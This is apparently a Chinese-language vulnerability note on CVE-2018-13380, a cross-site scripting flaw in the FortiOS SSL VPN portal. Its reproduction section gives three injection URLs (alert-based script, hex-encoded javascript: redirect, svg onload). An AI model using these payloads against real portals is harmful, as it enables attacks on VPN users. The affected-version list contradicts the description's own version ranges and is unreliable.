002-CVE-2018-13380 Fortinet FortiOS xss漏洞.md

955 B / 2021-07-17 00:01:28
    # CVE-2018-13380 Fortinet FortiOS xss漏洞

### 一、漏洞简介

Fortinet FortiOS是美国飞塔（Fortinet）公司的一套专用于FortiGate网络安全平台上的安全操作系统。该系统为用户提供防火墙、防病毒、IPSec/SSLVPN、Web内容过滤和反垃圾邮件等多种安全功能。 Fortinet FortiOS 6.0.0版本至6.0.4版本、5.6.0版本至5.6.7版本和5.4及之前版本中的SSL VPN Web门户存在跨站脚本漏洞。该漏洞源于WEB应用缺少对客户端数据的正确验证。攻击者可利用该漏洞执行客户端代码。

### 二、漏洞影响

Fortinet Fortios 6.2 Fortinet Fortios 6.0.5 Fortinet Fortios 5.6.8

### 三、复现过程


```
http://url/remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1)%3C/script%3E
```


```
http://url/remote/loginredir?redir=6a6176617363726970743a616c65727428646f63756d656e742e646f6d61696e29
```


```
http://url/message?title=x&msg=%26%23<svg/onload=alert(1)>;
```